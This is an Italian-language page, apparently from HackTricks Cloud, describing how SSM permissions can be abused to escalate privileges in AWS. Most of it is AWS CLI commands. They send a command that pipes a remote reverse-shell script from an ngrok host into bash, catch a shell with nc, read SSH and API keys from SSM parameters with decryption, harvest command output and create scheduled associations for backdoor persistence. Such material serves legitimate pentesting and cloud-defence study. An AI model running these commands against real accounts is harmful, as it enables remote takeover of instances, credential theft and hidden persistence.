AWS - SSM Privesc
Reading time: 6 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
SSM
Per maggiori informazioni su SSM consulta:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Un attacker con il permesso ssm:SendCommand può eseguire comandi nelle istanze che eseguono l Amazon SSM Agent e compromettere il IAM Role in esecuzione al loro interno.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Nel caso tu stia usando questa tecnica per escalate privileges all'interno di un'istanza EC2 già compromessa, puoi semplicemente catturare il rev shell localmente con:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impatto potenziale: Privesc diretto agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents in esecuzione.
ssm:StartSession
Un attacker con il permesso ssm:StartSession può avviare una sessione simile a SSH nelle istanze che eseguono l'Amazon SSM Agent e compromettere il IAM Role in esecuzione al loro interno.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Per avviare una sessione hai bisogno del SessionManagerPlugin installato: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potenziale impatto: Direct privesc ai ruoli IAM di EC2 associati alle istanze in esecuzione con SSM Agents attivi.
Privesc su ECS
Quando ECS tasks vengono eseguiti con ExecuteCommand enabled gli utenti con permessi sufficienti possono usare ecs execute-command per eseguire un comando all'interno del container.
Secondo the documentation questo avviene creando un canale sicuro tra il dispositivo che usi per avviare il comando “exec“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)
Pertanto, gli utenti con ssm:StartSession potranno get a shell inside ECS tasks con quell'opzione abilitata semplicemente eseguendo:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
Impatto potenziale: Privesc diretto ai ruoli ECSIAM allegati ai task in esecuzione con ExecuteCommand abilitato.
ssm:ResumeSession
Un attacker con il permesso ssm:ResumeSession può ri-avviare una sessione simile a SSH su istanze che eseguono l'Amazon SSM Agent con uno stato di sessione SSM disconnesso e compromettere il IAM Role in esecuzione al suo interno.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impatto potenziale: Escalation di privilegi diretta agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents attivi e sessioni disconnesse.
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
Un attacker con i permessi menzionati sarà in grado di elencare i SSM parameters e read them in clear-text. In questi parametri si possono frequentemente trovare informazioni sensibili come SSH keys o API keys.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impatto potenziale: Individuare informazioni sensibili all'interno dei parametri.
ssm:ListCommands
Un attaccante con questa autorizzazione può elencare tutti i comandi inviati e, auspicabilmente, trovare informazioni sensibili in essi.
aws ssm list-commands
Impatto potenziale: Trovare informazioni sensibili all'interno delle righe di comando.
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
Un attaccante con queste autorizzazioni può elencare tutte le commands inviate e leggere l'output generato, sperando di trovare informazioni sensibili al suo interno.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impatto potenziale: Trovare informazioni sensibili nell'output delle linee di comando.
Uso di ssm:CreateAssociation
Un attacker con il permesso ssm:CreateAssociation può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per backdoor-like persistence senza interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
note
Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. Importante: il parametro --schedule-expression (es., rate(30 minutes)) deve rispettare l'intervallo minimo di 30 minuti imposto da AWS. Per esecuzione immediata o una tantum, omettere completamente --schedule-expression — l'associazione verrà eseguita una volta dopo la creazione.
Codebuild
Puoi anche usare SSM per ottenere accesso a un progetto codebuild in fase di build:
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud